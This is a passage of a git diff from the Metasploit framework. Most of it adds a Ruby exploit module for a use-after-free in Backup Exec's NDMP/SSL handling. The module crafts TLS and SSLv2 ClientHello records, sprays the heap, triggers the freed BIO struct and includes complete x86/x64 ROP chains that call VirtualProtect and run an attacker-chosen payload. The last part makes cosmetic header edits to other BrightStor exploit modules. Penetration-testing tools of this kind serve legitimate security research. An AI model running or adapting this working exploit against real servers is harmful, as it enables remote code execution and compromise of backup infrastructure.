+    # 0x4) instead of in non-header data; here it's necessary to control the 5th byte of
+    # the header, which is the second byte of the length word
+    unless required_fifth_byte.nil?
+      payload << rand_text((required_fifth_byte.ord - (payload.length & 0xff)) % 0x100)
+    end
+    "\x16\x03\x01" + [payload.length].pack('n') + payload
+  end
+
+  #
+  # Generate a TLS ClientHello record with the given Random and extensions (ie. for
+  # holding stages 2-4).
+  #
+  def generate_tls_clienthello(curves_extn_payload, ec_formats_extn_payload, random)
+    if ec_formats_extn_payload.empty? && curves_extn_payload.empty?
+      fail_with(Failure::Unknown, 'No TLS extension payloads given')
+    end
+    if ec_formats_extn_payload.length > 0xff
+      fail_with(Failure::Unknown, 'Bad EC formats extension length')
+    end
+    if curves_extn_payload.length.odd? || curves_extn_payload.length > 0xffff
+      fail_with(Failure::Unknown, 'Bad curves extension length')
+    end
+    if random.length != 0x20
+      fail_with(Failure::Unknown, 'Bad random length')
+    end
+
+    extns = ''
+    unless curves_extn_payload.empty?
+      extns << [
+        10,
+        curves_extn_payload.length + 2,
+        curves_extn_payload.length
+      ].pack('n*') + curves_extn_payload
+    end
+    unless ec_formats_extn_payload.empty?
+      extns << [
+        11,
+        ec_formats_extn_payload.length + 1,
+        ec_formats_extn_payload.length
+      ].pack('nnC') + ec_formats_extn_payload
+    end
+
+    r = "\x03\x03" + random + "\x00\x00\x02\x00\x2f\x01\x00"
+    r << [extns.length].pack('n') + extns
+
+    r = "\x01" + [r.length].pack('N')[1...4] + r
+
+    generate_tls_handshake_record(r)
+  end
+
+  #
+  # Generate a TLS ClientHello record in a SSLv2 record with a given payload.
+  #
+  def generate_tls_in_sslv2_clienthello(payload)
+    fail_with(Failure::Unknown, 'No payload') if payload.empty?
+    fail_with(Failure::Unknown, 'Bad first byte') unless payload[0].ord >= 1
+
+    r = "\x01\x03" + payload
+    [r.length | 0x8000].pack('n') + r
+  end
+
+  #
+  # Spray a bunch of TLS extensions from the given NDMP sockets. Used for heap feng shui.
+  #
+  def spray_tls_extensions(tls_spray_socks, ca_cert_id)
+    payload_len = target.opts['Arch'] == ARCH_X64 ? 0x68 : 0x40
+    spray = generate_tls_clienthello(rand_text(payload_len), rand_text(payload_len), rand_text(0x20))
+
+    print_status('Spraying TLS extensions...')
+    (1..2).each do |phase|
+      tls_spray_socks.each do |ts|
+        require_empty_ssl_request(ts, SSLRequest::Opcode.test_cert, ca_cert_id, phase)
+        require_empty_ssl_request(ts, SSLRequest::Opcode.start_ssl, ca_cert_id, phase)
+
+        if phase == 2
+          ts.raw_sendall(spray, 0)
+          sleep(0.1)
+        end
+      end
+    end
+    sleep(1)
+  end
+
+  #
+  # Generate stage 1.
+  #
+  # This stage is what overwrites the freed BIO struct. It consists of a non-zero readable
+  # location (to prevent Backup Exec from falling over or failing) and a stack pivot to
+  # some offset from the current SSL socket buffer read location, which will hold a
+  # TLS/SSLv2 record (from the previous SSL connection) holding stages 2-4. The pivot
+  # offset will be different at each UAF trigger attempt; see attempt_triggers).
+  #
+  def generate_stage_1
+    if target.opts['Arch'] == ARCH_X64
+      stage_1 = [
+        # +0x18 from here is a non-zero, readable location. This is the load address of
+        # becrypto.dll (which is non-ASLR)
+        0xbe00000,
+        # On x64, we pivot into the current SSL socket buffer read location + 0x18
+        # lea rsp, qword ptr [rbp + 0x10]; pop rbp; ret
+        [0xbe5ecf2, 0xbe23261, 0xbe2329b][target.opts['Version'] - 14]
+      ].pack('Q<*')
+    else
+      stage_1 = [
+        # +0x18 from here is a non-zero, readable location. This is the load address of
+        # becrypto.dll (which is non-ASLR)
+        0x63100000,
+        # On x86, we pivot into the current SSL socket buffer read location + 0x4
+        # mov esp, ebp; pop ebp; ret
+        target.opts['Version'] == 14 ? 0x631017fd : 0x6310184d
+      ].pack('L<*')
+    end
+    stage_1 + rand_text((target.opts['Arch'] == ARCH_X64 ? 0x68 : 0x40) - stage_1.length)
+  end
+
+  #
+  # Generate stages 2 to 4.
+  #
+  # Stage 2 is a ROP chain that copies stages 3 and 4 from the heap (that stage 1 pivoted
+  # to) onto the stack, bypassing Windows 8+'s check before certain functions (like
+  # VirtualProtect) that we have called them from within expected stack memory instead of
+  # the heap.
+  #
+  # Stage 3 is a ROP chain that calls VirtualProtect to mark stages 3 and 4 as executable
+  # (but we only really need stage 4 executable anyway).
+  #
+  # Stage 4 is the user-selected Metasploit payload code.
+  #
+  def generate_stages_2_to_4
+    stage_4 = payload.encoded
+
+    if target.opts['Arch'] == ARCH_X64
+      if target.opts['Version'] == 14
+        stage_3 = [
+          0,         # skipped by stage 2
+          0xbe31359, # push rax; pop rsi; ret
+          0xbe01f72, # pop rax; ret
+          0,
+          0xbe3d250, # add rax, rcx; ret
+          0xbe1c2f9, # pop r12; ret
+          0xbe2ab32, # pop r8; ret
+          0xbe2987c, # mov rcx, rax; call r12
+          0xbe46d9e, # jmp qword ptr [KERNEL32!LoadLibraryW]
+          0xbe4e511, # pop r14; pop r13; pop rdi; pop rbp; ret
+          0,
+          0,
+          0,
+          0,
+          0xbe37f75, # push rax; pop rdi; ret
+          0xbe43b25, # mov rcx, rsi; call r12
+          0xbe01f72, # pop rax; ret
+          0,
+          0xbe3d250, # add rax, rcx; ret
+          0xbe6949a, # push rax; pop r12; ret
+          0xbe4f7ec, # pop r14; pop r13; ret
+          0xbe2ab32, # pop r8; ret
+          0,
+          0xbe2f917, # mov rdx, r12; mov ecx, 4; call r14
+          0xbe01f72, # pop rax; ret
+          0xbe2ab32, # pop r8; ret
+          0xbe36e8e, # mov rcx, rdi; call rax
+          0xbe01a29, # ret
+          0xbe46d32, # jmp qword ptr [KERNEL32!GetProcAddressStub]
+          0xbe4e511, # pop r14; pop r13; pop rdi; pop rbp; ret
+          0,
+          0,
+          0,
+          0,
+          0xbe37f75, # push rax; pop rdi; ret
+          0xbe1c2f9, # pop r12; ret
+          0xbe2ab32, # pop r8; ret
+          0xbe43b25, # mov rcx, rsi; call r12
+          0xbe399d0, # pop r13; ret
+          1 << 31,
+          0xbe33c3e, # mov rdx, r13; call r12
+          0xbe6b790, # mov r9, rcx; test edx, edx; jns 0xbe6b7a3; xor eax, eax; ret
+          0xbe399d0, # pop r13; ret
+          0,
+          0xbe33c3e, # mov rdx, r13; call r12
+          0xbe2ab32, # pop r8; ret
+          0x40,      # PAGE_EXECUTE_READWRITE
+          0xbe01a29, # ret
+          0xbe5180b, # jmp rdi
+          0xbe4e511, # pop r14; pop r13; pop rdi; pop rbp; ret
+          0,
+          0,
+          0,
+          0,
+          0xbe63938  # push rsp; ret
+        ]
+        stage_3[3] = stage_3[43] = stage_3.length * 8 + stage_4.length
+        kernel32_dll = "KERNEL32.dll\0".encode('UTF-16LE').force_encoding('ASCII-8BIT')
+        stage_3[17] = stage_3[3] + kernel32_dll.length
+        stage_3 = stage_3.pack('Q<*') + stage_4 + kernel32_dll + "VirtualProtect\0"
+      elsif target.opts['Version'] == 15
+        stage_3 = [
+          0xbe68a34, # push rax; pop rbx; ret
+          0xbe087c8, # pop rax; ret
+          0,
+          0xbe60dc0, # add rax, rcx; ret
+          0xbe9b627, # mov rcx, rax; call r12
+          0xbe4929d, # ret
+          0xbeb488e, # jmp qword ptr [KERNEL32!LoadLibraryAStub]
+          0xbea47f9, # pop r15; pop r14; pop r13; pop rbp; ret
+          0,
+          0,
+          0,
+          0,
+          0xbe34c0c, # push rax; pop rbp; ret
+          0xbefc534, # mov rcx, rbx; call r12
+          0xbe087c8, # pop rax; ret
+          0,
+          0xbe60dc0, # add rax, rcx; ret
+          0xbe9b627, # mov rcx, rax; call r12
+          0xbefc526, # mov rdx, rcx; call r12
+          0xbe9ad68, # mov rcx, rbp; call r12
+          0xbeb4828, # jmp qword ptr [KERNEL32!GetProcAddressStub]
+          0xbea47f9, # pop r15; pop r14; pop r13; pop rbp; ret
+          0,
+          0,
+          0,
+          0,
+          0xbe43269, # push rax; pop rsi; ret
+          0xbefc534, # mov rcx, rbx; call r12
+          0xbebd50e, # pop r13; ret
+          0,
+          0xbe97c4e, # mov rdx, r13; call r12
+          0xbeae99d, # pop r8; ret
+          0x40,      # PAGE_EXECUTE_READWRITE
+          0xbe3c9c0, # test rdx, rdx; setne al; ret
+          0xbe68603, # mov r9, rcx; je 0xbe68612; xor eax, eax; ret
+          0xbe4929d, # ret
+          0xbe9436d, # jmp rsi
+          0xbea47f9, # pop r15; pop r14; pop r13; pop rbp; ret
+          0,
+          0,
+          0,
+          0,
+          0xbe2184d, # pop rdi; ret
+          0xbebd50e, # pop r13; ret
+          0xbe9a8ac  # push rsp; and al, 0x20; mov r8d, ebx; mov rcx, rsi; call rdi
+        ]
+        stage_3[2] = stage_3[29] = stage_3.length * 8 + stage_4.length
+        stage_3[15] = stage_3[2] + "KERNEL32.dll\0".length
+        stage_3 = stage_3.pack('Q<*') + stage_4 + "KERNEL32.dll\0VirtualProtect\0"
+      elsif target.opts['Version'] == 16
+        stage_3 = [
+          0xbe4e888, # push rax; pop rbx; ret
+          0xbe01f72, # pop rax; ret
+          0,
+          0xbe610f0, # add rax, rcx; ret
+          0xbe9c70c, # mov rcx, rax; call r12
+          0xbe01c2c, # ret
+          0xbeb5d8e, # jmp qword ptr [KERNEL32!LoadLibraryAStub]
+          0xbea5b39, # pop r15; pop r14; pop r13; pop rbp; ret
+          0,
+          0,
+          0,
+          0,
+          0xbe12ed0, # pop rdi; ret
+          0xbe45a01, # pop r13; ret
+          0xbeaedb0, # mov rbp, rax; call rdi
+          0xbe5851a, # mov rcx, rbx; call r12
+          0xbe01f72, # pop rax; ret
+          0,
+          0xbe610f0, # add rax, rcx; ret
+          0xbe9c70c, # mov rcx, rax; call r12
+          0xbefe516, # mov rdx, rcx; call r12
+          0xbe9bf28, # mov rcx, rbp; call r12
+          0xbeb5d28, # jmp qword ptr [KERNEL32!GetProcAddressStub]
+          0xbea5b39, # pop r15; pop r14; pop r13; pop rbp; ret
+          0,
+          0,
+          0,
+          0,
+          0xbe433b9, # push rax; pop rsi; ret
+          0xbe5851a, # mov rcx, rbx; call r12
+          0xbe45a01, # pop r13; ret
+          0,
+          0xbe2e55e, # mov rdx, r13; call r12
+          0xbe27c76, # pop r8; ret
+          0x40,      # PAGE_EXECUTE_READWRITE
+          0xbe3caf0, # test rdx, rdx; setne al; ret
+          0xbe68c73, # mov r9, rcx; je 0xbe68c82; xor eax, eax; ret
+          0xbe01c2c, # ret
+          0xbe56cad, # jmp rsi
+          0xbea5b39, # pop r15; pop r14; pop r13; pop rbp; ret
+          0,
+          0,
+          0,
+          0,
+          0xbe12ed0, # pop rdi; ret
+          0xbe45a01, # pop r13; ret
+          0xbe9ba6c  # push rsp; and al, 0x20; mov r8d, ebx; mov rcx, rsi; call rdi
+        ]
+        stage_3[2] = stage_3[31] = stage_3.length * 8 + stage_4.length
+        stage_3[17] = stage_3[2] + "KERNEL32.dll\0".length
+        stage_3 = stage_3.pack('Q<*') + stage_4 + "KERNEL32.dll\0VirtualProtect\0"
+      end
+    else
+      if target.opts['Version'] == 14
+        stage_3 = [
+          0x63117dfa, # pop edi; ret
+          0x63101514, # ret
+          0x63116cc9, # pop esi; ret
+          0x6313ba14, # jmp dword ptr [KERNEL32!LoadLibraryAStub]
+          0x631017ff, # pop ebp; ret
+          0x631213e6, # add esp, 0x20; ret
+          0x63137a3c, # pushal; ret
+          'KERN'.unpack('<L')[0],
+          'EL32'.unpack('<L')[0],
+          '.dll'.unpack('<L')[0],
+          0,
+          0x63117dfa, # pop edi; ret
+          0x6311de4c, # pop edi; pop ebp; ret
+          0x6311b614, # push eax; call edi
+          0x63117dfa, # pop edi; ret
+          0x6313b9ae, # jmp dword ptr [KERNEL32!GetProcAddressStub]
+          0x63116cc9, # pop esi; ret
+          0x631213e6, # add esp, 0x20; ret
+          0x63137a3c, # pushal; ret
+          'Virt'.unpack('<L')[0],
+          'ualP'.unpack('<L')[0],
+          'rote'.unpack('<L')[0],
+          "ct\0\0".unpack('<L')[0],
+          0x6314de45, # xchg eax, edi; ret
+          0x6311db46, # push esp; pop esi; ret
+          0x6311a398, # xchg eax, esi; ret
+          0x63116cc9, # pop esi; ret
+          0x6311f902, # pop ebx; pop ecx; ret
+          0x63123d89, # push eax; call esi
+          0x6316744a, # push edi; sbb al, 0x5f; pop esi; pop ebp; pop ebx; ret
+          0x63101514, # ret
+          0,
+          0x631309f4, # pop edx; or al, 0xf6; ret
+          0x40,       # PAGE_EXECUTE_READWRITE
+          0x63117dfa, # pop edi; ret
+          0x63101514, # ret
+          0x6310185a, # pop eax; ret
+          0x63139ec5, # push esp; ret
+          0x63137a3c  # pushal; ret
+        ]
+        stage_3[31] = stage_4.length + 4
+      elsif target.opts['Version'] == 15
+        stage_3 = [
+          0x6311e378, # pop edi; ret
+          0x63101564, # ret
+          0x631289b9, # pop esi; ret
+          0x6319e296, # jmp dword ptr [KERNEL32!LoadLibraryA]
+          0x6310184f, # pop ebp; ret
+          0x6313937d, # add esp, 0x20; ret
+          0x6311c618, # pushal; ret
+          'KERN'.unpack('<L')[0],
+          'EL32'.unpack('<L')[0],
+          '.dll'.unpack('<L')[0],
+          0,
+          0x63198d07, # xchg eax, ebp; mov edi, 0xc483fff9; or al, 0x5e; ret
+          0x6311e378, # pop edi; ret
+          0x6319e23c, # jmp dword ptr [KERNEL32!GetProcessAddress]
+          0x631289b9, # pop esi; ret
+          0x6313937d, # add esp, 0x20; ret
+          0x6311c618, # pushal; ret
+          'Virt'.unpack('<L')[0],
+          'ualP'.unpack('<L')[0],
+          'rote'.unpack('<L')[0],
+          "ct\0\0".unpack('<L')[0],
+          0x631289b9, # pop esi; ret
+          0x631018aa, # pop eax; ret
+          0x63198446, # mov edi, eax; call esi
+          0x63137496, # push esp; pop esi; ret
+          0x6312c068, # xchg eax, esi; ret
+          0x631289b9, # pop esi; ret
+          0x6315c407, # pop ebx; pop ecx; ret
+          0x63189809, # push eax; call esi
+          0x631d7cca, # push edi; sbb al, 0x5f; pop esi; pop ebp; pop ebx; ret
+          0x63101564, # ret
+          0,
+          0x63156a54, # pop edx; or al, 0xf6; ret
+          0x40,       # PAGE_EXECUTE_READWRITE
+          0x6311e378, # pop edi; ret
+          0x63101564, # ret
+          0x631018aa, # pop eax; ret
+          0x6311c638, # push esp; ret
+          0x6311c618  # pushal; ret
+        ]
+        stage_3[31] = stage_4.length + 4
+      elsif target.opts['Version'] == 16
+        stage_3 = [
+          0x6311e3c0, # pop edi; ret
+          0x63101564, # ret
+          0x63128a39, # pop esi; ret
+          0x6319f27c, # jmp dword ptr [KERNEL32!LoadLibraryAStub]
+          0x6310184f, # pop ebp; ret
+          0x631394ad, # add esp, 0x20; ret
+          0x6311c69c, # pushal; ret
+          'KERN'.unpack('<L')[0],
+          'EL32'.unpack('<L')[0],
+          '.dll'.unpack('<L')[0],
+          0,
+          0x6311e3c0, # pop edi; ret
+          0x631018aa, # pop eax; ret
+          0x6319959f, # mov ebp, eax; call edi
+          0x6311e3c0, # pop edi; ret
+          0x6319f21c, # jmp dword ptr [KERNEL32!GetProcessAddressStub]
+          0x63128a39, # pop esi; ret
+          0x631394ad, # add esp, 0x20; ret
+          0x6311c69c, # pushal; ret
+          'Virt'.unpack('<L')[0],
+          'ualP'.unpack('<L')[0],
+          'rote'.unpack('<L')[0],
+          "ct\0\0".unpack('<L')[0],
+          0x63128a39, # pop esi; ret
+          0x631018aa, # pop eax; ret
+          0x631993e6, # mov edi, eax; call esi
+          0x631375e6, # push esp; pop esi; ret
+          0x6312c0e8, # xchg eax, esi; ret
+          0x63128a39, # pop esi; ret
+          0x63133031, # pop ebx; pop ecx; ret
+          0x6314a34a, # push eax; call esi
+          0x631d830a, # push edi; sbb al, 0x5f; pop esi; pop ebp; pop ebx; ret
+          0x63101564, # ret
+          0,
+          0x63157084, # pop edx; or al, 0xf6; ret
+          0x40,       # PAGE_EXECUTE_READWRITE
+          0x6311e3c0, # pop edi; ret
+          0x63101564, # ret
+          0x631018aa, # pop eax; ret
+          0x63134eb6, # push esp; ret
+          0x6311c69c  # pushal; ret
+        ]
+        stage_3[33] = stage_4.length + 4
+      end
+      stage_3 = stage_3.pack('L<*') + stage_4
+    end
+
+    if target.opts['Arch'] == ARCH_X64
+      if target.opts['Version'] == 14
+        stage_2 = [
+          0xbe40d1d, # pop r12; pop rsi; ret
+          0xbe1bca3, # pop r12; pop rbx; ret
+          0xbe399d0, # pop r13; ret
+          0xbe29954, # push rsp; and al, 0x70; mov rcx, rax; call r12
+          0xbe501a7, # mov rcx, rbx; call rsi
+          0xbe01f72, # pop rax; ret
+          0,
+          0xbe3d250, # add rax, rcx; ret
+          0xbe37f75, # push rax; pop rdi; ret
+          0xbe4f52c, # mov rax, qword ptr gs:[0x30]; ret
+          0xbe24263, # mov rax, qword ptr [rax + 8]; ret
+          0xbe1b055, # pop rbx; ret
+          0xfffffffffffff000,
+          0xbe501a7, # mov rcx, rbx; call rsi
+          0xbe3d250, # add rax, rcx; ret
+          0xbe1c2f9, # pop r12; ret
+          0xbe2ab32, # pop r8; ret
+          0xbe2987c, # mov rcx, rax; call r12
+          0xbe1b055, # pop rbx; ret
+          0xbe2ab32, # pop r8; ret
+          0xbe45935, # mov rdx, rdi; call rbx
+          0xbe01a29, # ret
+          0xbe2ab32, # pop r8; ret
+          0,
+          0xbe4fa46, # jmp qword ptr [MSVCR100!memcpy]
+          0xbe2987c, # mov rcx, rax; call r12
+          0xbe1cfc0  # mov rsp, r11; pop r12; ret (note need for extra ret at start of stage 3)
+        ]
+      elsif target.opts['Version'] == 15
+        stage_2 = [
+          0xbe1e18e, # pop r12; pop rdi; ret
+          0xbebd50e, # pop r13; ret
+          0xbebc3fd, # pop r14; pop rbp; ret
+          0xbe9a8ac, # push rsp; and al, 0x20; mov r8d, ebx; mov rcx, rsi; call rdi
+          0xbe9ad68, # mov rcx, rbp; call r12
+          0xbe087c8, # pop rax; ret
+          0,
+          0xbe60dc0, # add rax, rcx; ret
+          0xbe43269, # push rax; pop rsi; ret
+          0xbebd24c, # mov rax, qword ptr gs:[0x30]; ret
+          0xbe3b0b3, # mov rax, qword ptr [rax + 8]; ret
+          0xbe1d923, # pop r12; pop rbx; ret
+          0xfffffffffffff000,
+          0xbe27c76, # pop r8; ret
+          0xbe45511, # mov rcx, r12; call rbx
+          0xbe60dc0, # add rax, rcx; ret
+          0xbe1df29, # pop r12; ret
+          0xbe27c76, # pop r8; ret
+          0xbe9b54c, # mov rcx, rax; call r12
+          0xbe01f72, # pop rax; ret
+          0xbe27c76, # pop r8; ret
+          0xbe4164c, # mov rdx, rsi; call rax
+          0xbeae99d, # pop r8; ret
+          0,
+          0xbebda22, # jmp qword ptr [MSVCR100!memcpy]
+          0xbe9b627, # mov rcx, rax; call r12
+          0xbeeb621  # push rcx; pop rsp; ret
+        ]
+      elsif target.opts['Version'] == 16
+        stage_2 = [
+          0xbe1e18e, # pop r12; pop rdi; ret
+          0xbe45a01, # pop r13; ret
+          0xbe2a433, # pop r14; pop rbp; ret
+          0xbe9ba6c, # push rsp; and al, 0x20; mov r8d, ebx; mov rcx, rsi; call rdi
+          0xbe9bf28, # mov rcx, rbp; call r12
+          0xbe01f72, # pop rax; ret
+          0,
+          0xbe610f0, # add rax, rcx; ret
+          0xbe433b9, # push rax; pop rsi; ret
+          0xbebe74c, # mov rax, qword ptr gs:[0x30]; ret
+          0xbe3b1e3, # mov rax, qword ptr [rax + 8]; ret
+          0xbe1d923, # pop r12; pop rbx; ret
+          0xfffffffffffff000,
+          0xbe27c76, # pop r8; ret
+          0xbe45681, # mov rcx, r12; call rbx
+          0xbe610f0, # add rax, rcx; ret
+          0xbe1df29, # pop r12; ret
+          0xbe27c76, # pop r8; ret
+          0xbe9c70c, # mov rcx, rax; call r12
+          0xbe01f72, # pop rax; ret
+          0xbe27c76, # pop r8; ret
+          0xbe4179c, # mov rdx, rsi; call rax
+          0xbe27c76, # pop r8; ret
+          0,
+          0xbebef22, # jmp qword ptr [MSVCR100!memcpy]
+          0xbe9c70c, # mov rcx, rax; call r12
+          0xbeed611  # push rcx; pop rsp; ret
+        ]
+      end
+      stage_2[6] = (stage_2.length - 4) * 8
+      stage_2[23] = stage_3.length
+      stage_2 = stage_2.pack('Q<*') + stage_3
+    else
+      if target.opts['Version'] == 14
+        stage_2 = [
+          0x63143720, # mov eax, dword ptr fs:[0x18]; ret
+          0x6311efa4, # mov eax, dword ptr [eax + 4]; ret
+          0x63129b75, # pop edi; pop ecx; ret
+          0xfffffff0,
+          0x100000000 - 0x2000,
+          0x63122eea, # and eax, edi; pop edi; pop esi; add esp, 0xc; ret
+          0x63129b75, # pop edi; pop ecx; ret
+          0x6310185a, # pop eax; ret
+          0,
+          0,
+          0,
+          0x63133912, # add eax, ecx; ret
+          0x63152ded, # mov ebx, eax; call esi
+          0x631309f4, # pop edx; or al, 0xf6; ret
+          0x6314cfa1, # xchg eax, esp; ret
+          0x6311db46, # push esp; pop esi; ret
+          0x6310185a, # pop eax; ret
+          0x6310185a, # pop eax; ret
+          0x631171d2, # mov ecx, esi; call eax
+          0x6310185a, # pop eax; ret
+          0,
+          0x63133912, # add eax, ecx; ret
+          0x631257f4, # push ebx; call edi
+          0x631546eb, # pop edi; ret
+          0x631543cb, # pop ebp; pop esi; pop edi; ret
+          0x63116faf, # pop ebx; ret
+          0x63143aec, # jmp dword ptr [MSVCR100!memcpy]
+          0x6315dde0, # cld; ret
+          0x63137a3c, # pushal; ret
+          0
+        ]
+        stage_2[20] = (stage_2.length - 16) * 4
+        stage_2[29] = stage_3.length
+      elsif target.opts['Version'] == 15
+        stage_2 = [
+          0x631a6220, # mov eax, dword ptr fs:[0x18]; ret
+          0x6312e404, # mov eax, dword ptr [eax + 4]; ret
+          0x6313031d, # pop ebp; pop ecx; ret
+          0x100000000 - 0x2000,
+          0xfffffff0,
+          0x6316c73a, # and eax, ecx; pop esi; ret
+          0x6315c407, # pop ebx; pop ecx; ret
+          0x63192b17, # add eax, ebp; ret
+          0x63189809, # push eax; call esi
+          0x63156a54, # pop edx; or al, 0xf6; ret
+          0x6312c933, # xchg eax, esp; ret
+          0x63137496, # push esp; pop esi; ret
+          0x6314172a, # pop eax; ret
+          0,
+          0x6317e87d, # add eax, esi; pop edi; pop esi; pop ebx; ret
+          0x63156dd8, # pop edi; pop ebp; pop esi; ret
+          0,
+          0,
+          0x631729cd, # pop ebx; ret
+          0x631a65ec, # jmp dword ptr [MSVCR100!memcpy]
+          0x6311e250, # cld; ret
+          0x6311c618, # pushal; ret
+          0
+        ]
+        stage_2[13] = (stage_2.length - 12) * 4
+        stage_2[22] = stage_3.length
+      elsif target.opts['Version'] == 16
+        stage_2 = [
+          0x631a7200, # mov eax, dword ptr fs:[0x18]; ret
+          0x6312e4a4, # mov eax, dword ptr [eax + 4]; ret
+          0x63128afc, # pop ecx; ret
+          0xfffffff0,
+          0x6316d13a, # and eax, ecx; pop esi; ret
+          0x63133031, # pop ebx; pop ecx; ret
+          0x63128afc, # pop ecx; ret
+          0x100000000 - 0x2000,
+          0x63142860, # add eax, ecx; ret
+          0x6314a34a, # push eax; call esi
+          0x63157084, # pop edx; or al, 0xf6; ret
+          0x6311c6c0, # xchg eax, esp; ret
+          0x631375e6, # push esp; pop esi; ret
+          0x631018aa, # pop eax; ret
+          0,
+          0x63135f56, # add eax, esi; add eax, ecx; pop esi; ret
+          0,
+          0x63157408, # pop edi; pop ebp; pop esi; ret
+          0x63157408, # pop edi; pop ebp; pop esi; ret
+          0,
+          0,
+          0x63181046, # sub eax, ecx; pop ebx; ret
+          0x631a75cc, # jmp dword ptr [MSVCR100!memcpy]
+          0x6311e298, # cld; ret
+          0x6311c69c, # pushal; ret
+          0
+        ]
+        stage_2[14] = (stage_2.length - 13) * 4
+        stage_2[25] = stage_3.length
+      end
+      stage_2 = stage_2.pack('L<*') + stage_3
+    end
+
+    stage_2 + rand_text(stage_2.length & 1)
+  end
+
+  #
+  # Attempt to overwrite the freed BIO struct with stage 1 and trigger the use-after-free.
+  #
+  def attempt_triggers(s, spray_socks, spray_msg)
+    datastore['NumTriggerAttempts'].times do |x|
+      print_status('Spraying stage 1...')
+      (1..2).each do |phase|
+        spray_socks.each do |ss|
+          if phase == 1
+            return false unless ss.prepare_and_write_ndmp_msg(spray_msg, false, 50)
+            return true if @payload_connected || session_created?
+          else
+            50.times do
+              return false unless ss.read_ndmp_msg(spray_msg.header.type)
+              return true if @payload_connected || session_created?
+            end
+          end
+        end
+      end
+      sleep(1)
+      return true if @payload_connected || session_created?
+
+      # Send a certain amount of data per trigger attempt so that stage 1 will always end
+      # up jumping into the TLS/SSLv2 record at an expected location. The general idea is
+      # that the first write will complete Backup Exec's first recv operation, the second
+      # fills the buffer back up to an 8/4-byte aligned position, and the rest moves
+      # through the retsled
+      print_status("Triggering UAF, attempt #{x + 1}/#{datastore['NumTriggerAttempts']}...")
+      trigger = if target.opts['Version'] == 14
+        if x == 0
+          # A maximum of 5 bytes are always read at first, so just send them all at once
+          "\x16\x03\x01\x10\x00"
+        elsif x == 1
+          # Skip over TLS header structure
+          rand_text((target.opts['Arch'] == ARCH_X64 ? 0x18 : 0x10) - 5)
+        else
+          # Skip over a ROP NOP
+          rand_text(target.opts['Arch'] == ARCH_X64 ? 8 : 4)
+        end
+      else
+        if x == 0
+          # A maximum of 11 bytes are always read at first, so just send them all at once
+          "\x90\x00\x01\x03\x03" + rand_text(11 - 5)
+        elsif x == 1
+          # Skip over SSLv2 header structure
+          rand_text((target.opts['Arch'] == ARCH_X64 ? 0x20 : 0x10) - 11)
+        else
+          # Skip over a ROP NOP
+          rand_text(target.opts['Arch'] == ARCH_X64 ? 8 : 4)
+        end
+      end
+      return false unless s.raw_sendall(trigger, 0)
+      sleep(1)
+      return true if @payload_connected || session_created?
+    end
+
+    nil
+  end
+
+  #
+  # Attempt to overwrite the freed BIO struct with stage 1 and implicitly trigger the
+  # use-after-free in a race.
+  #
+  # For non-Windows 8+ targets, we need to race Backup Exec after the BIO struct is freed.
+  # This is because these versions of Windows overwrite the start of freed objects on the
+  # heap with the next offset in the freelist. We need to then overwrite this with our
+  # stage 1 spray otherwise Backup Exec will crash upon attempting to call the BIO
+  # struct's read callback upon re-entering SSL mode. This is less successful than the
+  # Windows 8+ case (which doesn't use a freelist, instead using a free bitmap), but it
+  # still works OK.
+  #
+  def attempt_race(s, spray_socks, spray_msg, ca_cert_id)
+    print_status('Spraying stage 1 while racing re-entering SSL mode on main socket...')
+    do_simple_ssl_request(s, SSLRequest::Opcode.start_ssl, ca_cert_id) do |is_pre|
+      unless is_pre
+        200.times do
+          spray_socks.each do |ss|
+            ss.prepare_and_write_ndmp_msg(spray_msg, 200)
+            return true if @payload_connected || session_created?
+          end
+        end
+      end
+    end
+    sleep(1)
+
+    @payload_connected || session_created?
+  end
+end
diff --git a/modules/exploits/windows/brightstor/ca_arcserve_342.rb b/modules/exploits/windows/brightstor/ca_arcserve_342.rb
index 9cf7603ac8..899df8a63a 100644
--- a/modules/exploits/windows/brightstor/ca_arcserve_342.rb
+++ b/modules/exploits/windows/brightstor/ca_arcserve_342.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/brightstor/discovery_tcp.rb b/modules/exploits/windows/brightstor/discovery_tcp.rb
index f20eacf09f..925be50971 100644
--- a/modules/exploits/windows/brightstor/discovery_tcp.rb
+++ b/modules/exploits/windows/brightstor/discovery_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -138,5 +138,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/brightstor/discovery_udp.rb b/modules/exploits/windows/brightstor/discovery_udp.rb
index fee7f9f844..924c992925 100644
--- a/modules/exploits/windows/brightstor/discovery_udp.rb
+++ b/modules/exploits/windows/brightstor/discovery_udp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -122,5 +122,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect_udp
   end
-
 end
diff --git a/modules/exploits/windows/brightstor/etrust_itm_alert.rb b/modules/exploits/windows/brightstor/etrust_itm_alert.rb
index 8816b0b322..02296b7403 100644
--- a/modules/exploits/windows/brightstor/etrust_itm_alert.rb
+++ b/modules/exploits/windows/brightstor/etrust_itm_alert.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -78,7 +78,6 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
 
 =begin
diff --git a/modules/exploits/windows/brightstor/hsmserver.rb b/modules/exploits/windows/brightstor/hsmserver.rb
index fad1e76072..876ae9abbc 100644
--- a/modules/exploits/windows/brightstor/hsmserver.rb
+++ b/modules/exploits/windows/brightstor/hsmserver.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -38,7 +38,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Platform' => 'win',
       'Targets'  =>
         [
-          # NX can be bypassed by bruteforcing ntdll addresses as the process is restarted
